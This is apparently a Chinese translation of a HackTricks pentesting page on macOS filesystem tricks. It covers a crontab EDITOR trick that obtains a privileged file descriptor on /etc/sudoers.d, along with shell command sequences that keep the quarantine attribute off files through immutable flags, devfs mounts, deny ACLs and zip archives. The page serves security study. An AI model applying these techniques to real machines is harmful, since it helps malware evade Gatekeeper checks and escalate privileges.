hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks.md

5.3 KiB
Raw Blame History

macOS文件系统技巧

☁️ HackTricks云平台 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

任意文件描述符Arbitrary FD

如果你能让一个进程以高权限打开一个文件或文件夹,你可以滥用**crontab来以EDITOR=exploit.py**的方式打开/etc/sudoers.d中的一个文件,这样exploit.py将获得/etc/sudoers中文件的文件描述符FD并进行滥用。

例如:https://youtu.be/f1HA5QhLQ7Y?t=21098

避免隔离xattrs的技巧

uchg标志

如果一个文件/文件夹具有这个不可变属性就无法在其上放置xattr。

echo asd > /tmp/asd
chflags uchg /tmp/asd
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

defvfs 挂载

devfs 挂载不支持 xattr,更多信息请参考 CVE-2023-32364

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

writeextattr ACL

此ACL防止向文件添加xattrs

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text权限

AppleDouble文件格式会复制文件及其ACEs。

源代码中,可以看到存储在名为**com.apple.acl.text**的xattr中的ACL文本表示将被设置为解压后文件的ACL。因此如果您将应用程序压缩为带有ACL的zip文件并阻止其他xattr写入它...则隔离xattr不会设置到应用程序中

有关更多信息,请查看原始报告

☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥